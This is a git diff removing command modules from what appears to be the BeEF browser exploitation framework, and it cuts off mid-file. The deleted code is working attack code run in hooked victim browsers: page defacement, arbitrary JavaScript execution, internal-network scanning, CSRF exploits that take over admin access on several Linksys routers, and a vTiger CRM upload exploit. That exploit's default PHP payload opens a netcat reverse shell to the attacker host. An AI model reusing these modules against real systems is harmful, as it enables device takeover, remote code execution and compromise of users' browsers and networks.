%>"); -}); diff --git a/modules/commands/misc/alert_dialog/alert_dialog.rb b/modules/commands/misc/alert_dialog/alert_dialog.rb deleted file mode 100644 index 07f772056..000000000 --- a/modules/commands/misc/alert_dialog/alert_dialog.rb +++ /dev/null @@ -1,42 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Alert_dialog < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Alert Dialog', - 'Description' => 'Sends an alert dialog to the victim', - 'Category' => 'Misc', - 'Author' => 'bm', - 'Data' => [ - {'name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - # This tells the framework to use the file 'alert.js' as the command module instructions. - use_template! - end - - def callback - content = {} - content['User Response'] = "The user clicked the 'OK' button when presented with an alert box." - save content - end - -end - -end -end -end diff --git a/modules/commands/misc/deface_web_page/deface_web_page.js b/modules/commands/misc/deface_web_page/deface_web_page.js deleted file mode 100644 index b37d1a76d..000000000 --- a/modules/commands/misc/deface_web_page/deface_web_page.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - document.body.innerHTML = "<%= @deface_content %>"; - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull"); -}); diff --git a/modules/commands/misc/deface_web_page/deface_web_page.rb b/modules/commands/misc/deface_web_page/deface_web_page.rb deleted file mode 100644 index ffcff7b74..000000000 --- a/modules/commands/misc/deface_web_page/deface_web_page.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Deface_web_page < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Deface Web Page', - 'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string', - 'Category' => 'Misc', - 'Author' => 'antisnatchor', - 'Data' => [ - { 'name' => 'deface_content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'Defaced!', 'width' => '400px', 'height' => '100px' }, - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.js b/modules/commands/misc/prompt_dialog/prompt_dialog.js deleted file mode 100644 index b00965044..000000000 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - - var answer = prompt("<%== @question %>","") - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer)); -}); diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.rb b/modules/commands/misc/prompt_dialog/prompt_dialog.rb deleted file mode 100644 index c53baf894..000000000 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - -class Prompt_dialog < BeEF::Command - - def initialize - super({ - 'Name' => 'Prompt Dialog', - 'Description' => 'Sends a prompt dialog to the victim', - 'Category' => 'Misc', - 'Author' => 'bm', - 'Data' => [ - {'name' =>'question', 'ui_label'=>'Prompt text'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - end - - # - # This method is being called when a zombie sends some - # data back to the framework. - # - def callback - -# return if @datastore['answer']=='' - - save({'answer' => @datastore['answer']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/raw_javascript/raw_javascript.js b/modules/commands/misc/raw_javascript/raw_javascript.js deleted file mode 100644 index 37c299dd8..000000000 --- a/modules/commands/misc/raw_javascript/raw_javascript.js +++ /dev/null @@ -1,18 +0,0 @@ -beef.execute(function() { - var result; - - try { - result = function() {<%= @cmd %>}(); - } catch(e) { - for(var n in e) - result+= n + " " + e[n] + "\n"; - } - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); - - - - - - diff --git a/modules/commands/misc/raw_javascript/raw_javascript.rb b/modules/commands/misc/raw_javascript/raw_javascript.rb deleted file mode 100644 index f54f349f5..000000000 --- a/modules/commands/misc/raw_javascript/raw_javascript.rb +++ /dev/null @@ -1,46 +0,0 @@ -module BeEF -module Modules -module Commands - -class Raw_javascript < BeEF::Command - - def initialize - super({ - 'Name' => 'Raw Javascript', - 'Description' => %Q{ - This module will send the code entered in the 'JavaScript Code' section to the selected - zombie browsers where it will be executed. Code is run inside an anonymous function and the return - value is passed to the framework. Multiline scripts are allowed, no special encoding is required. - }, - 'Category' => 'Misc', - 'Author' => ['wade','vo'], - 'Data' => - [ - {'name' => 'cmd', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'}, - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - # - # This method is being called when a zombie sends some - # data back to the framework. - # - def callback - - save({'result' => @datastore['result']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/replace_video/replace_video.js b/modules/commands/misc/replace_video/replace_video.js deleted file mode 100644 index 41bd4fe06..000000000 --- a/modules/commands/misc/replace_video/replace_video.js +++ /dev/null @@ -1,15 +0,0 @@ -beef.execute(function() { - - $j('<%= @jquery_selector %>').each( - function ( intIndex ) { - - var width = $j(this).css('width'); - var height = $j(this).css('height'); - - $j(this).replaceWith(''); - - } - ) - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); -}); diff --git a/modules/commands/misc/replace_video/replace_video.rb b/modules/commands/misc/replace_video/replace_video.rb deleted file mode 100644 index dfd07c1dc..000000000 --- a/modules/commands/misc/replace_video/replace_video.rb +++ /dev/null @@ -1,45 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Replace_video < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Replace Video', - 'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).', - 'Category' => 'Misc', - 'Author' => 'Yori Kvitchko', - 'Data' => - [ - {'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'}, - {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/rickroll/rickroll.js b/modules/commands/misc/rickroll/rickroll.js deleted file mode 100644 index 5b8dc4c6b..000000000 --- a/modules/commands/misc/rickroll/rickroll.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - $j('body').html(''); - - $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); - $j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); - - $j('body').html(''); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); -}); diff --git a/modules/commands/misc/rickroll/rickroll.rb b/modules/commands/misc/rickroll/rickroll.rb deleted file mode 100644 index e4220498a..000000000 --- a/modules/commands/misc/rickroll/rickroll.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Rickroll < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Rickroll', - 'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.', - 'Category' => 'Misc', - 'Author' => 'Yori Kvitchko', - 'Data' => - [ - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.js b/modules/commands/network/detect_local_settings/detect_local_settings.js deleted file mode 100644 index b759d3672..000000000 --- a/modules/commands/network/detect_local_settings/detect_local_settings.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); - - if(internal_ip && internal_hostname) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, - 'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname)); - } -}); diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.rb b/modules/commands/network/detect_local_settings/detect_local_settings.rb deleted file mode 100644 index 123269c68..000000000 --- a/modules/commands/network/detect_local_settings/detect_local_settings.rb +++ /dev/null @@ -1,49 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_local_settings < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect local settings', - 'Description' => 'Grab the local network settings (i.e internal ip address)', - 'Category' => 'Network', - 'Author' => ['pdp', 'wade', 'bm'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => FF - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => C - }) - - set_target({ - 'verified_status' => VERIFIED_NOT_WORKING, - 'browser_name' => IE - }) - - use 'beef.net.local' - use_template! - end - - def callback - content = {} - content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? - content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil? - - content['fail'] = 'could not grab local network settings' if content.empty? - - save content - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/network/detect_local_settings/fingerprint_local_network.js b/modules/commands/network/detect_local_settings/fingerprint_local_network.js deleted file mode 100644 index c9ebbecc3..000000000 --- a/modules/commands/network/detect_local_settings/fingerprint_local_network.js +++ /dev/null @@ -1,51 +0,0 @@ -beef.execute(function() { - - var dom = document.createElement('b'); - var ips = [ - 'http://192.168.0.1', - 'http://192.168.0.100', - 'http://192.168.0.254', - 'http://192.168.1.1', - 'http://192.168.1.100', - 'http://192.168.1.254', - 'http://10.0.0.1', - 'http://10.1.1.1', - 'http://192.168.2.1', - 'http://192.168.2.254', - 'http://192.168.100.1', - 'http://192.168.100.254', - 'http://192.168.123.1', - 'http://192.168.123.254' - ]; - var urls = new Array( - new Array("QNAP NAS",":8080","/ajax_obj/img/running.gif",16,16), - new Array("QNAP NAS",":8080","/ajax_obj/images/qnap_logo_w.gif",115,21), - new Array("Belkin Router",":80","/images/title_2.gif",321,28), - new Array("SMC Networks",":80","/images/logo.gif",133,59), - new Array("Linksys NAS",":80","/Admin_top.JPG",750,52), - new Array("Linksys NAS",":80","/logo.jpg",194,52), - new Array("Linksys Network Camera",":80","/welcome.jpg",146,250), - new Array("Linksys Wireless-G Camera",":80","/header.gif",750,97), - new Array("Cisco IP Phone",":80","/Images/Logo",120,66), - new Array("Snom Phone",":80","/img/snom_logo.png",168,62), - new Array("Brother Printer",":80","/pbio/brother.gif",144,52), - new Array("HP LaserJet",":80","/hp/device/images/logo.gif",42,27) - ); - - // for each ip - for(var i=0; i < ips.length; i++) { - - // for each url - for(var u=0; u < urls.length; u++) { - var img = new Image; - img.id = u; - img.src = ips[i]+urls[u][1]+urls[u][2]; - //img.title = ips[i]+urls[u][1]; - img.onload = function() { if (this.width == urls[this.id][3] && this.height == urls[this.id][4]) { beef.net.send('<%= @command_url %>', <%= @command_id %>,'device='+escape(urls[this.id][0])+"&url="+escape(this.src));dom.removeChild(this); } } - dom.appendChild(img); - } - } - // setTimeout("beef.net.send('<%= @command_url %>', <%= @command_id %>,'device=Failed')", 60000) - -}); - diff --git a/modules/commands/network/detect_local_settings/fingerprint_local_network.rb b/modules/commands/network/detect_local_settings/fingerprint_local_network.rb deleted file mode 100644 index 214ccd3a7..000000000 --- a/modules/commands/network/detect_local_settings/fingerprint_local_network.rb +++ /dev/null @@ -1,70 +0,0 @@ -module BeEF -module Modules -module Commands -# -# Fingerprint local network module -# This module attempts to fingerprint embedded devices within the zombies' -# local network. It does this by loading images on common local network -# IP addresses then matching the image width, height and path to those -# for a known device. -# -# TODO # -# -# Add IPv6 support -# Add HTTPS support -# - Devices with invalid certs are blocked by IE and FF by default -# Improve stealth -# - Load images with CSS "background:" CSS to avoid http auth login popups -# Improve speed -# - Make IP addresses a user-configurable option rather than a hard-coded list -# - Detect local ip range first - using browser history and/or with java -# - History theft via CSS history is patched in modern browsers. -# - Local IP theft with Java is slow and may fail - - -class Fingerprint_local_network < BeEF::Command - - def initialize - super({ - 'Name' => 'Fingerprint local network', - 'Description' => 'Scan common local network IP addresses for embedded devices.', - 'Category' => 'Network', - 'Author' => ['bcoles@gmail.com', 'wade'], - 'File' => __FILE__ - }) - - # Doesn't work in FF4 (but works in 3.x) - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => FF - }) - - set_target({ - 'verified_status' => VERIFIED_NOT_WORKING, - 'browser_name' => O - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => IE - }) - - use_template! - end - - def callback - content = {} - content['device'] =@datastore['device'] if not @datastore['device'].nil? - content['url'] = @datastore['url'] if not @datastore['url'].nil? - if content.empty? - content['fail'] = 'Did not detect any local network devices' - end - save content - end - -end - -end -end -end - diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js deleted file mode 100644 index a43eac2bf..000000000 --- a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - var iframe = beef.dom.createInvisibleIframe(); - iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb deleted file mode 100644 index d82cabbb0..000000000 --- a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Befsr41_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys BEFSR41 CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js deleted file mode 100644 index 746f8076b..000000000 --- a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js +++ /dev/null @@ -1,92 +0,0 @@ -beef.execute(function() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "Manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_USE_HTTP'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP_S'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORDMOD'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD_CONFIRM'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_WLFILTER'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_REMOTE'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PORT'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_UPNP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb deleted file mode 100644 index 477d50a93..000000000 --- a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Wrt54g2_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys WRT54G2 CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js deleted file mode 100644 index 2100fb4de..000000000 --- a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js +++ /dev/null @@ -1,92 +0,0 @@ -beef.execute(function() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_mgt_https'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'https_enable'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'PasswdModify'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwd'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwdConfirm'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'web_wl_filter'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_management'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_wanport'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'upnp_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb deleted file mode 100644 index bb00af083..000000000 --- a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Wrt54g_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys WRT54G CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js deleted file mode 100644 index 236865722..000000000 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js +++ /dev/null @@ -1,186 +0,0 @@ -// VtigerCRM <= 5.0.4 "chained exploitation" PoC -// Hacked up for OWASP New Zealand Day, July 13th 2009 -// -// Thanks for the BeEF Wade :) - -// Ported to Ruby BeEF by xntrik 2010 - -beef.execute(function() { - - //Doing the same trick I used in detect_tor to ensure exploit runs once - // xntrik - - if (document.getElementById('vtigerimg')) { - //document.body.removeChild(document.getElementById('vtigerimg')); - //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!'); - return "Exploit running already"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.id = 'vtigerimg'; - - document.body.appendChild(img); - - baseurl = "<%= @vtiger_url %>"; - - function do_upload(){ - setTimeout(function() {ajax_upload()}, 1000); - } - - // In a nutshell: - // - // 1) build url - // 2) construct the request object - // 3) POST the form - // 4) once requestdone, call do_callfile() - - function ajax_upload(){ - var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; - - http_request = false; - http_request = beef.net.get_ajax(); - if (!http_request) { - // fail silently! - return false; - } - - //prepare the POST - var boundaryString = 'PWNED'; - var boundary = '-----------------------------PWNED'; - var requestbody = - boundary + '\r\n' - + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' - + '\r\n' - + 3000000 + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_module"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_action"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_id"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\r\n' - + 'Content-Type: application/x-httpd-php' + '\r\n' - + '\r\n' - + '<\?php' + '\r\n' - + '<%= @vtiger_php %>' + '\r\n' - + '\?>' + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n' - + '\r\n' - + 'vtiger-fun.PHP' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' - + '\r\n' - + 'drop it like its hot' + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="save"' + '\r\n' - + '\r\n' - + 'Attach' + '\r\n' - + boundary; - - var uploadstate = 0; - - http_request.onreadystatechange = function() { - if (http_request.readyState == 4) { - if (http_request.status == 200) { - uploadstate = 3; - } else { - uploadstate = 2; - } - } else { - uploadstate = 1; - } - return; - }; - http_request.open("POST", targeturl, true); - http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); - http_request.setRequestHeader("Content-length", requestbody.length); - http_request.send(requestbody); - - setTimeout(function() { - if (uploadstate == 0) { - //something went way wrong - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload'); - } else if (uploadstate == 1) { - //we never got a response from the server - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file'); - } else if (uploadstate == 2) { - //we got a response that was NOT a 200 - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file'); - } else if (uploadstate == 3) { - //We got a 200, so hopefully the file was uploaded - //be_graceful(); - do_callfile(0,1000); - } - },<%= @upload_timeout %>); - - return; - } - - function do_callfile(start,count){ - if (document.getElementById('vtigerimg') == null) { - return false; - } - - for (i=start;i<=start+count;i++) - { - var http_request = false; - http_request = beef.net.get_ajax(); - if (!http_request) { - // fail silently! - return false; - } - - var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP"; - var requestbody = "birds of a feather flock together"; - - http_request.open('POST', findurl, false); - http_request.setRequestHeader("Content-length", requestbody.length); - http_request.send(requestbody); - if (http_request.status == 200) { - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')'); - return; - } - - } - return; - } - - // Try the upload - function do_main(){ - do_upload(); - return; - } - - // Run the sploit - do_main(); - -}); diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb deleted file mode 100644 index b50933cf1..000000000 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb +++ /dev/null @@ -1,55 +0,0 @@ -module BeEF -module Modules -module Commands - -class Vtiger_crm_upload_exploit < BeEF::Command - - def initialize - time = Time.new - weekno = case time.day - when 1..7 then 1 - when 8..14 then 2 - when 15..21 then 3 - when 22..28 then 4 - else 5 - end - - @configuration = BeEF::Configuration.instance - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - - super({ - 'Name' => 'VTiger CRM Upload Exploit', - 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888', - 'Category' => 'Network', - 'Author' => ['wade', 'bm', 'pipes', 'xntrik'], - 'Data' => - [ - {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'}, - {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'}, - {'name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'}, - {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - - use_template! - end - - def callback - return if @datastore['result'].nil? - - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/persistence/iframe_above/iframe_above.js b/modules/commands/persistence/iframe_above/iframe_above.js deleted file mode 100644 index 31529f070..000000000 